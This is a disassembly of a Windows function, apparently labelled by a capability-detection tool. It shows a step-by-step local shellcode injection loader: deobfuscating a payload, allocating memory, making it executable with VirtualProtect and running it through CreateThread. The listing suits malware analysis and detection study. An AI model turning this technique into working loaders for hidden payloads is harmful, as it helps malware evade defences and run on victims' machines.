Function at 0x140011406
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140015fa0
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e1c0]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x1400240a5]
call fcn.14001137f
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea rcx, str._i__Injecting_Shellcode_The_Local_Process_Of_Pid:__d__n
call fcn.14001119f
lea rcx, str.___Press__Enter__To_Decrypt_...
call fcn.14001119f
call qword [sym.imp.ucrtbased.dll_getchar]
lea rcx, str._i__Decrypting_...
call fcn.14001119f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x170
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14001606d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx_Failed_With_Error:__d__n
call fcn.14001119f
mov eax, 0xffffffff
jmp 0x140016212
mov rdx, qword [rbp + 8]
lea rcx, str.___pDeobfuscatedPayload:_0x_0_16p__n
call fcn.14001119f
mov rdx, qword [rbp + 8]
lea rcx, section..data
call fcn.140011163
test eax, eax
jne 0x14001609b
mov eax, 0xffffffff
jmp 0x140016212
lea rcx, str.___DONE___n
call fcn.14001119f
mov qword [rbp + 0x28], 0x114
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 8]
lea rcx, str._i__Deobfuscated_Payload_At_:_0x_p_Of_Size_:__d__n
call fcn.14001119f
lea rcx, str.___Press__Enter__To_Allocate_...
call fcn.14001119f
call qword [sym.imp.ucrtbased.dll_getchar]
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp + 0x28]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140016116
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_Failed_With_Error_:__d__n
call fcn.14001119f
mov eax, 0xffffffff
jmp 0x140016212
mov rdx, qword [rbp + 0x48]
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.14001119f
lea rcx, str.___Press__Enter__To_Write_Payload_...
call fcn.14001119f
call qword [sym.imp.ucrtbased.dll_getchar]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x48]
call fcn.1400111bd
mov r8, qword [rbp + 0x28]
xor edx, edx
mov rcx, qword [rbp + 8]
call fcn.1400113ed
mov dword [rbp + 0x64], 0
lea r9, [rbp + 0x64]
mov r8d, 0x40
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140016196
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect_Failed_With_Error_:__d__n
call fcn.14001119f
mov eax, 0xffffffff
jmp 0x140016212
lea rcx, str.___Press__Enter__To_Run_...
call fcn.14001119f
call qword [sym.imp.ucrtbased.dll_getchar]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x48]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x1400161ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
call fcn.14001119f
mov eax, 0xffffffff
jmp 0x140016212
mov r8d, 0x4000
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.14001119f
call qword [sym.imp.ucrtbased.dll_getchar]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001be40]
call fcn.14001131b
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret